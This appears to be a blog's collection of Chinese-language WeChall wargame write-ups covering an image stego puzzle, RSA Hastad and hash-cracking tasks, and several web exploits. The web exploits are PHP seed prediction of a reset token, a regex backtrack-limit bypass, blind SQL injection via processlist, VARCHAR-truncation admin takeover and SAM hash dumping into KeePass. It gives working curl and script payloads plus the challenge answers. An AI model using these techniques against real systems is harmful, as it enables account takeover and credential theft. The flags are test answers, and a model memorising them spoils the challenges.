Hello Navi

Tech, Security & Personal Notes

Challenge

Find the sentence hidden in me or I'll have to destroy you.

一张 256x256 的纯红色图像 op.png,只有 R 通道有数据(G=B=0)。

Solution

图像的 R 通道值范围 0-253,共 242 个唯一值。直接读取像素值无法得到可读文本(多数值 > 127,超出 ASCII 可打印范围)。

关键思路:素数筛选。只保留 R 通道值为素数的像素,其余设为白色。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from PIL import Image
from math import sqrt

def is_prime(n):
if n < 2: return False
if n == 2: return True
if n % 2 == 0: return False
for i in range(3, int(sqrt(n)) + 1, 2):
if n % i == 0: return False
return True

img = Image.open('op.png')
w, h = img.size
result = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
for x in range(w):
r, g, b = img.getpixel((x, y))
if is_prime(r):
result.putpixel((x, y), (0, 0, 0))
else:
result.putpixel((x, y), (255, 255, 255))

result.save('simply_red_primes.png')

需要人工读取图像,得到文本。

PrimalOffset

Challenge

提交 admin@wechall.net 的 password reset token。Token 绑定 session,源码公开。

Solution

漏洞分析

源码(?highlight=christmas)暴露了 token 生成逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 每次请求(GET 或 POST)都重新播种
srand(time() + rand(0, 100));
$csrf = ttr_random(32); // 页面中 <input name="csrf">

// POST reset 时额外生成 token
$token = ttr_random(16); // 即要预测的目标

function ttr_random($len, $alpha='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
{
$alphalen = strlen($alpha) - 1;
$key = '';
for ($i = 0; $i < $len; $i++) {
$key .= $alpha[rand(0, $alphalen)];
}
return $key;
}

种子 = time() + rand(0, 100),仅 101 种可能。CSRF token(32 字符)是种子后的首次 32 次 rand() 输出,直接暴露在页面中。

页面中的两个 token

挑战页面包含两个 hidden input:

  • csrf(32 字符)— 位于 password reset form 内

    1
    2
    3
    <tr><td colspan="3">
    <input type="hidden" name="csrf" value="5faruVeXQSpw78BPrkYpJqPqmmJfKXdI" />
    </td>
    右键 → 查看页面源代码,搜索 name="csrf" 即可找到。

  • gwf3_csrf(8 字符)— 位于 solution form 内,用于提交答案

    1
    <input type="hidden" name="gwf3_csrf" value="eIt0IMws" />

破解流程

关键:用来破解读取的不是 GET 页面的 CSRF,而是 POST 请求返回页面的 CSRF。因为每次请求 PHP 都重新 srand(time()+rand(0,100)),token 和页面 CSRF 在同一个种子下连续生成(32 + 16 次 rand 调用)。必须先 POST reset 触发 token 生成,再用响应页面中的新 CSRF 推导同一种子下的 token。

Step 1 — GET 页面,提取 CSRF 和 gwf3_csrf

1
2
3
4
curl -sk --max-time 15 -D /tmp/ttr_headers.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/time_to_reset/' \
| grep -oP 'name="csrf"\s*value="\K[^"]+'

输出:

1
lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq

用同样的方式提取 gwf3_csrf

1
grep -oP 'name="gwf3_csrf"\s*value="\K[^"]+'

Step 2 — POST password reset,触发 token 生成

1
2
3
4
5
6
curl -sk --max-time 15 -D /tmp/ttr_headers2.txt \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'email=admin@wechall.net' \
--data-urlencode 'reset=Request a Password reset' \
--data-urlencode 'csrf=lGYstQosLkv6kYxtH6Ftvj6GAjEEMklq' \
'https://www.wechall.net/en/challenge/time_to_reset/'

响应中会包含 msg_mail_sent 提示,以及一个全新csrf(同一请求中生成的):

1
<input type="hidden" name="csrf" value="7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM" />

Step 3 — 从响应头获取服务器时间

1
2
grep -i '^date:' /tmp/ttr_headers2.txt
# Date: Sat, 13 Jun 2026 12:13:31 GMT

转换为 epoch:1781352811

Step 4 — PHP 离线暴力搜索种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$csrf = "7MkocZHPcc6rkDkGVaSRVltE1ONJH5zM"; // 从 POST 响应提取
$server_time = 1781352811; // 从 Date header 提取
$alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$alphalen = strlen($alpha) - 1;

for ($t = $server_time - 3; $t <= $server_time + 3; $t++) {
for ($offset = 0; $offset <= 100; $offset++) {
$seed = $t + $offset;
srand($seed);

$generated = '';
for ($i = 0; $i < 32; $i++) {
$generated .= $alpha[rand(0, $alphalen)];
}

if ($generated === $csrf) {
// 找到种子!预测 token(接下来 16 次 rand)
$token = '';
for ($i = 0; $i < 16; $i++) {
$token .= $alpha[rand(0, $alphalen)];
}
echo "SEED=$seed\nTOKEN=$token\n";
exit(0);
}
}
}
echo "NOT_FOUND\n";

执行:

1
2
3
php brute_force.php
# SEED=1781352853
# TOKEN=XfmLddQ4n1NuBpUD

搜索空间仅 101(偏移量)× 7(±3 秒)= 707 种组合,毫秒级出结果。

Step 5 — 提交预测的 token

1
2
3
4
5
6
curl -sk --max-time 15 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode 'answer=XfmLddQ4n1NuBpUD' \
--data-urlencode 'solve=Submit' \
--data-urlencode 'gwf3_csrf=eIt0IMws' \
'https://www.wechall.net/en/challenge/time_to_reset/'
XfmLddQ4n1NuBpUD

Challenge

绕过两个矛盾的检查:

1
2
3
4
5
6
7
8
// 检查1:不允许包含 badmethod 或 evilfunction
if (1 === preg_match('#^.*((?:badmethod)|(?:evilfunction)).*$#s', $text)) {
return 'Evil text detected';
}

// 检查2:必须同时包含 badmethod 和 evilfunction
return strpos($text, 'badmethod') !== false
&& strpos($text, 'evilfunction') !== false;

来源:sourcecode.php

Solution

利用 PHP 的 pcre.backtrack_limit(默认值:PHP 5.3 为 100K,PHP 7+ 为 1M)。当回溯次数超限时,preg_match() 返回 FALSE(不是 0 也不是 1),严格比较 1 === FALSE 结果为 false,从而绕过拦截。而 strpos() 是线性字符扫描,不受回溯影响。

Payload

关键字放开头,尾部填充大量字符耗尽回溯预算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 提取 CSRF token
CSRF=$(curl -s --max-time 10 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
'https://www.wechall.net/en/challenge/noother/preg_evasion/index.php' \
| grep -oP 'gwf3_csrf"\s*value="\K[^"]+')

# 构造 payload:关键字 + 600K padding
text="badmethodevilfunction$(python3 -c "print('.' * 600000)")"

# 提交
curl -s --max-time 30 \
-b 'WC=40700784-72047-P62VMhsWxh3elcYN' \
--data-urlencode "text=$text" \
--data-urlencode "hackit=Your button" \
--data-urlencode "gwf3_csrf=$CSRF" \
'https://www.wechall.net/en/challenge/noother/preg_evasion/index.php'

原理

正则 ^.*((?:badmethod)|(?:evilfunction)).*$ 中:

  • ^.* 贪婪匹配整个字符串(badmethodevilfunction + 600K 个 .
  • 交替 (badmethod)|(evilfunction) 在行尾匹配失败
  • PCRE 逐字符回溯,每次在当前位置尝试两个分支
  • 总回溯次数 ≈ 600K × 2 = 1.2M,远超默认回溯上限

若服务端 pcre.backtrack_limit 更高,等比例增大 padding 即可。

CSRF token 位于页面 form 中:

1
<input type="hidden" name="gwf3_csrf" value="7zluZ476" />

Challenge

Noother 写了一个卖 .xyz domain 的 PHP 小站。目标是找到漏洞,不花钱完成购买。

Solution

purchaseDomain()reduceMoney() 之间有约 6 秒间隙(三次 nooth_message() 各 sleep 2 秒)。PHP 默认 ignore_user_abort = false,客户端断开连接后,PHP 在 sleep 间隙检测到中止并终止脚本。利用这个窗口可以让 purchaseDomain() 提交但 reduceMoney() 被跳过。

利用步骤:

  1. 加载余额:?load=balance(+$10,+1 funding)
  2. 等 timeout 结束(45 秒 cooldown)
  3. 发送购买请求,curl 设置 --max-time 12:请求约 12s 后被切断,此时 purchaseDomain() 已执行(domains+1,money 未扣)但 reduceMoney() 未执行
  4. 再等一次 timeout 结束,发一次正常购买(不切断)
  5. 此时 fundings=1,domains=2,条件 fundings < domains 触发,自动解决

关键源码逻辑:

1
2
3
4
noothtable::purchaseDomain($sid);   // domains=domains+1 WHERE money>=price
// ~6s sleep via nooth_message()
noothtable::reduceMoney($sid, $price); // money=money-price
// 随后检查 fundings < domains

注意第二步必须是正常购买——如果第二次也切断,domains 只+1 但 fundings=1,条件仍然 fundings >= domains。只有 purchaseDomain 成功两次而 reduceMoney 只执行一次,才能制造差值。

Challenge

Table Names 的进阶版。题目要求找出隐藏的数据库名和表名,答案格式是:

1
database_table

相比第一版,常规的 information_schema.tables / database() 路线会被过滤。

Solution

后端查询大致是用隐藏配置拼出完整表名:

1
2
SELECT * FROM <secret_database>.<secret_table>
WHERE username='$username' AND password='$password'

不能直接查 information_schema.tables 时,可以转向 information_schema.processlist。当前正在执行的 SQL 文本会出现在 processlist.info 中,而这个 SQL 正好包含完整的 database.table

盲注模板:

1
2
3
4
5
6
7
8
9
username=test' OR IF(
(SELECT ASCII(SUBSTR(info, <pos>, 1)) = <ord>
FROM information_schema.processlist
WHERE info LIKE 0x2553454c45435425
LIMIT 1),
1,
0
)#
password=test

也可以用二分:

1
ASCII(SUBSTR(info, <pos>, 1)) > <mid>

逐字符恢复 info 后,从 SQL 文本里抽出 <secret_database>.<secret_table>,再把点号换成下划线提交。

通过 SUBSTR(info,1,200) 直接从 processlist 提取完整查询文本,确认当前账号下数据库和表名为:

1
nurfedtables37.userbobbytable7
nurfedtables37_userbobbytable7

Challenge

Cracking/Forensics 类(Storyline 系列),由 Z 创作。

一个叫 Bill 的人把秘密藏在加密的 KeePass 数据库里。需要从他的 Windows SAM 文件开始,走完整条攻击链才能拿到最终的答案。

1
2
3
4
给的文件: files.zip
├── SAM # Windows SAM (Security Account Manager)
├── system # SYSTEM registry hive(对应加密的 boot key)
└── keepass.kdb # KeePass 1.x KDB 格式

Solution

Step 1 — 从 SAM + SYSTEM 提取 NTLM hash

secretsdump.py(impacket 包)从 SAM + SYSTEM 离线提取本地用户的 hash:

1
2
3
4
5
6
$ secretsdump.py -sam SAM -system system LOCAL
Impacket v0.12.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0xac285427313a1c9a8dc2e8b3421a2e22
[*] Dumping local SAM hashes:
Bill:500:7f4ac180230c769790d3d8ad454f5167:cfb69fa6cb1d792d63b02c6eefc807e5:::

格式:用户:RID:LM_HASH:NTLM_HASH::: NTLM hash(第二个 32 hex)是 cfb69fa6cb1d792d63b02c6eefc807e5

LM hash 7f4ac180230c769790d3d8ad454f5167 非空(非 aad3b4...),说明密码 >= 8 字符,可以用 Ophcrack + rainbow table 破解。但走 NTLM 更直接。

Step 2 — 破解 NTLM hash

在线 NTLM 查询 ntlm.pw

1
2
https://ntlm.pw/cfb69fa6cb1d792d63b02c6eefc807e5
→ W3cH4112u1Z99

离线可用 john + rockyou 或 hashcat。

Windows 密码: W3cH4112u1Z99

index2.php 有一段 substitution cipher 隐藏 hint,解码后提示用 Ophcrack + ~380MB rainbow table 破解 LM hash,但 NTLM 在线查表更快,结果一致(LM 大写版 W3CH4112U1Z99 无额外信息)。

Step 3 — 解密 KeePass

剧情设计上 Bill 是密码复用受害者——KeePass 密码 == Windows 密码。

keepass.kdb 是 KeePass 1.x KDB 格式(非 KDBX),AES-256-CBC 加密。Python 库 pykeepass 只支持 KDBX,需用 libkeepass

1
$ pip install libkeepass
1
2
3
4
5
6
7
8
9
import libkeepass

with libkeepass.open('keepass.kdb', password='W3cH4112u1Z99') as db:
for entry in db.entries:
print(f"Group: {entry['group']}")
print(f" Title: {entry['title']}")
print(f" Username: {entry['username']}")
print(f" Password: {entry['password']}")
print()

KeePass 结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Group: credit card
Title: Amex
Username: 371234567895006:08/05-18/05:562
Password:

Group: Personal
Title: Personal data
Username: William Henry Gates III
Password:

Group: W1nd0ws
Title: My home w1n box
Username: Bill
Password: W3cH4112u1Z99

Group: eMail
Title: My hotmail account
Username: BillG@h0tma1l.com
Password: ← 空字符串,这就是密码

四个 entry 分布在 7 个 group 中(另有空的 L1nux、M4C、Backup 组)。

关键条目:Amex 的 username 包含完整信用卡数据(格式 CC_NUMBER:VALID_FROM-EXPIRY:CVV)。

Step 4 — 提交信用卡

check_card.php 接受 POST 字段 cc(maxlength=31):

1
2
3
$ curl -s -b 'WC=...' \
--data-urlencode 'cc=371234567895006:08/05-18/05:562' \
'https://www.wechall.net/challenge/Z/bill_for_bill/check_card.php'
371234567895006:08/05-18/05:562

返回提示需要登录父亲的邮箱删除交易通知邮件,进入下一步。

Step 5 — 登录邮箱删邮件

signin.php 是一个仿 Microsoft Live ID 的钓鱼页面,POST 到 login.php

KeePass 中 email 条目的 password 字段是空字符串——这就是密码:

1
2
POST login=BillG@h0tma1l.com&passwd=&SI=Signin&LoginOptions=2
→ 302 Redirect → loggedin.php

登录后收件箱中有一封来自 M4C 的未读邮件,checkbox 的 value="thisisit"。通过 loggedin.php?del=sel 标记删除。

至此攻击链完成:从 Windows SAM 一路走到删除银行通知邮件。

Step 6 — 提交 WeChall 答案

全部分析完成后,在主站 solution form 提交答案:

passwordsuxx

Summary

完整的 Windows 凭证盗窃链:SAM+SYSTEM → NTLM hash → 密码复用 → KeePass → 敏感数据泄露 → 登录邮箱销毁证据

Screwed Signup (Exploit, PHP) by gizmore MySQL VARCHAR 截断 + 查询不一致导致的权限提升

Challenge

目标是 login as Admin。题目给了 register/login 的源码,chall_sql1 表中已有原始 Admin 记录(access_level=1337)。

关键源码:

1
2
// 注册 — INSERT 语句
$query = "INSERT IGNORE INTO `chall_sql1` VALUES ('$uname', '$pw', 0)";
1
2
3
4
// 登录校验
function screwed_signupGetUser($username) {
$query = "SELECT * FROM `chall_sql1` WHERE `username`='$username'";
}

Solution

漏洞是 VARCHAR 截断 + 查询不一致

  • 表定义 username VARCHAR(24),但 PHP 的 preg_match('/^[a-z0-9A-Z ]{3,64}$/D') 允许最长 64 字符
  • trim() 只去掉首尾空格,中间空格保留
  • MySQL 在非严格模式下静默截断超长值到 24 字符

利用步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 注册: username = "Admin" + 19空格 + "a"    (共 25 字符)
→ trim() 保留中间空格(a 在末尾不会被 trim 删掉)
→ regex 通过(3-64 字符规则)

2. UserExists("Admin" + 19空格 + "a") → false(表中无此长字符串记录)

3. MySQL INSERT 时截断到 VARCHAR(24):
实际写入: "Admin" + 19 空格 (access_level=0)

4. 现在表中有两条 Admin 记录:
- 原始 Admin (access_level=1337) ← 先插入
- 我们复制的 Admin (access_level=0) ← 后插入

5. 登录: username = "Admin"(无空格)
→ PasswordMatch 检查 username+password → 找到我们的记录(密码匹配)
→ GetUser 只查 username → WHERE username='Admin' → 返回第一行 → 原始 Admin
→ access_level=1337 > 0 → solved

关键:PasswordMatch 检查了密码但 GetUser 只查用户名,两条查询的不一致导致权限提升。

1
2
3
4
5
6
7
8
9
# 注册
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/register.php' \
-d 'username=Admin a&password=hack123&password2=hack123&register=Register'

# 登录
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/login.php' \
-d 'username=Admin&password=hack123&login=Login'

WC Hashing Game (Cracking) by gizmore 破解两组 hash:WC3(定盐 MD5)和 WC4(加盐 SHA1)。答案格式:word1,word2,word3,word4

Challenge

两组 hash 列表,各 17 条:

  • WC3(WeChall v3 算法):固定盐 MD5
  • WC4(WeChall v4 算法):每条 hash 独立加盐 SHA1
  • 答案 = 两组各自最长的两个明文,逗号分隔

题面示例:wordfrom1,wordfrom1,wordfrom2,wordfrom2

Solution

算法

1
2
3
4
5
6
7
8
9
10
import hashlib, string, random

# WC3: md5(md5(plaintext) + "zomgsalt")
digest = hashlib.md5(
hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt"
).hexdigest()

# WC4: sha1("zomgsalt4" + password + salt + "zomgsalt4") + salt
t = hashlib.sha1(b"zomgsalt4" + password.encode() + salt.encode() + b"zomgsalt4")
digest = t.hexdigest() + salt # salt 追加到 hash 末尾

攻击路线

  1. 从 WeChall 页面获取两组 hash 列表(需登录)
  2. 用 rockyou 或类似英文词典做字典攻击
  3. 对每个 word 计算 WC3 hash 匹配;对 WC4 每条 hash 提取尾部 4 字节 salt,计算后匹配
  4. 排序取最长各两个
  5. 提交格式:longest_wc3,second_wc3,longest_wc4,second_wc4

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib, string

# 从页面提取 hash 列表
wc3_hashes = [...] # 17 条 hex hash
wc4_raw = [...] # 17 条 hash+salt(44 hex chars = 40 hash + 8 salt)

# 字典攻击
for word in dictionary:
# WC3
h = hashlib.md5(hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt").hexdigest()
if h in wc3_hashes:
found_wc3.append((len(word), word))

# WC4 — 每条 hash 的 salt 不同
for entry in wc4_raw:
target_hash = entry[:-8] # 前 40 hex = SHA1
salt = entry[-8:] # 后 8 hex = 4 bytes salt
t = hashlib.sha1(b"zomgsalt4" + word.encode() + bytes.fromhex(salt) + b"zomgsalt4").hexdigest()
if t == target_hash:
found_wc4.append((len(word), word))

found_wc3.sort(reverse=True)
found_wc4.sort(reverse=True)
answer = f"{found_wc3[0][1]},{found_wc3[1][1]},{found_wc4[0][1]},{found_wc4[1][1]}"

Key Points:

  • WC3 salt 固定zomgsalt,追加在第一次 MD5 hex 之后
  • WC4 每条 hash 尾 8 hex 是 salt:4 字节随机字母数字,需要按条提取
  • 所有明文是小写英文词典词
  • hash 列表在 页面:需从 /en/challenge/wechall/hashing_game/index.php 的 HTML 中提取
coincidence,subversion,triangulation,orthography

Brainfucked (Javascript) by gizmore 不是 Brainfuck,是 JSFuck——只用 []()!+ 六字符构造 JavaScript

Challenge

题面给一个巨大的 sourcecode.php(~100KB),看起来是 Brainfuck 但实际上是 JSFuck——一种只用 []()!+ 六个字符编码 JavaScript 的技术。它利用 JavaScript 的类型转换(如 []+{}"[object Object]")来构造任意字符串和代码。

源码在 sourcecode.php,直接在浏览器里 eval 这坨代码不安全——它会弹出 alert 并重定向到 Google。

Solution

核心方法是离线 sandbox 执行 JSFuck 代码,观察其行为:

1
curl -s -b 'WC=...' 'https://www.wechall.net/en/challenge/brainfucked/sourcecode.php' > jsfuck.txt

用 Node.js 搭建一个 mock browser 环境(拦截 alertdocument.location 等):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const vm = require("vm");
const fs = require("fs");
const code = fs.readFileSync("jsfuck.txt", "utf8").trim();

let capturedAlerts = [];
let locationHref = "";

const sandbox = {
alert: (...args) => capturedAlerts.push(...args),
document: {
title: "",
location: {
set href(v) {
locationHref = v;
},
},
},
location: {
set href(v) {
locationHref = v;
},
},
Array,
String,
Number,
Boolean,
Object,
Function,
RegExp,
Math,
Date,
JSON,
setTimeout: () => 0,
setInterval: () => 0,
console: { log() {}, warn() {}, error() {} },
};

vm.createContext(sandbox);
vm.runInContext(code, sandbox, { timeout: 30000 });

console.log("Alerts:", capturedAlerts);
console.log("Redirect:", locationHref);

执行后会输出:

1
2
Alerts: [ 18 ]
Redirect: https://www.google.co.uk

这对应解码后的代码:

1
2
3
4
var s = "UnfudgedDebugStuff";
s = s.length; // 此时 s = 18
alert(s); // 弹 18
document.location.href = "https://www.google.co.uk";

关键陷阱:

  • alert 显示的是 18(字符串长度),但这不是答案。
  • 答案是原始字符串 UnfudgedDebugStuff,不是它的长度。
  • 页面会重定向到 Google,所以不要在浏览器里直接 eval。
  • JSFuck 和 Brainfuck 完全不同——Brainfuck 用 <>+-.,[],JSFuck 用 []()!+
UnfudgedDebugStuff

Save the World (Crypto) by Z Hastad broadcast attack — 同一消息 m,e=3,三个不同 n

Challenge

题面给出一段虚构的世界观故事:三个 RSA 公钥(e=3,三个不同 n1,n2,n3)加密了同一个对称密钥 m。目标是恢复 m 的十进制形式的最后 20 位。

1
2
3
c1 = m^3 mod n1
c2 = m^3 mod n2
c3 = m^3 mod n3

Solution

这是经典的 Hastad broadcast attack。当同一消息用同一个小指数 e=3、不同互素 modulus 加密且无 padding 时:

m^3 对三个不同的 n 同余于不同的 c。用中国剩余定理(CRT)合并,如果 m^3 < n1*n2*n3,则 CRT 结果直接等于 m^3,开三次方根即可。

1
2
3
4
5
6
7
from sympy.ntheory.modular import crt
from sympy import integer_nthroot

C, mod = crt([n1, n2, n3], [c1, c2, c3])
m, exact = integer_nthroot(int(C), 3)
assert exact
print(str(m)[-20:])

完整的从页面抓数→计算的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re, urllib.request

URL = 'http://www.wechall.net/en/challenge/Z/save_the_world/index.php'
COOKIE = 'WC=...'

req = urllib.request.Request(URL, headers={'Cookie': COOKIE})
html = urllib.request.urlopen(req, timeout=20).read().decode()
clean = re.sub(r'<br\s*/?>', '', html) # 关键:去掉 <br/> 标签

def extract(pattern):
m = re.search(pattern, clean)
return int(m.group(1).replace('\n', '').replace(' ', ''))

n1 = extract(r'n1=(\d[\d\s\n]*?)')
c1 = extract(r'c1=(\d[\d\s\n]*?)')
n2 = extract(r'n2=(\d[\d\s\n]*?)')
c2 = extract(r'c2=(\d[\d\s\n]*?)')
n3 = extract(r'n3=(\d[\d\s\n]*?)')
c3 = extract(r'c3=(\d[\d\s\n]*?)')

from sympy.ntheory.modular import crt
from sympy import integer_nthroot

C, mod = crt([n1, n2, n3], [c1, c2, c3])
m, exact = integer_nthroot(int(C), 3)
assert exact
print(str(m)[-20:])
  • <br/> 标签:页面里的超大整数被 <br/> 换行打断,直接复制会漏数字或引入多余字符。必须用 regex 去掉 <br/> 后再提取连续数字串。
  • 静态题:n1/n2/n3/c1/c2/c3 是固定的,对所有用户相同。答案唯一,只需计算一次。
  • sympy 需要安装uv pip install sympypip install sympy
21987654321987654321
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE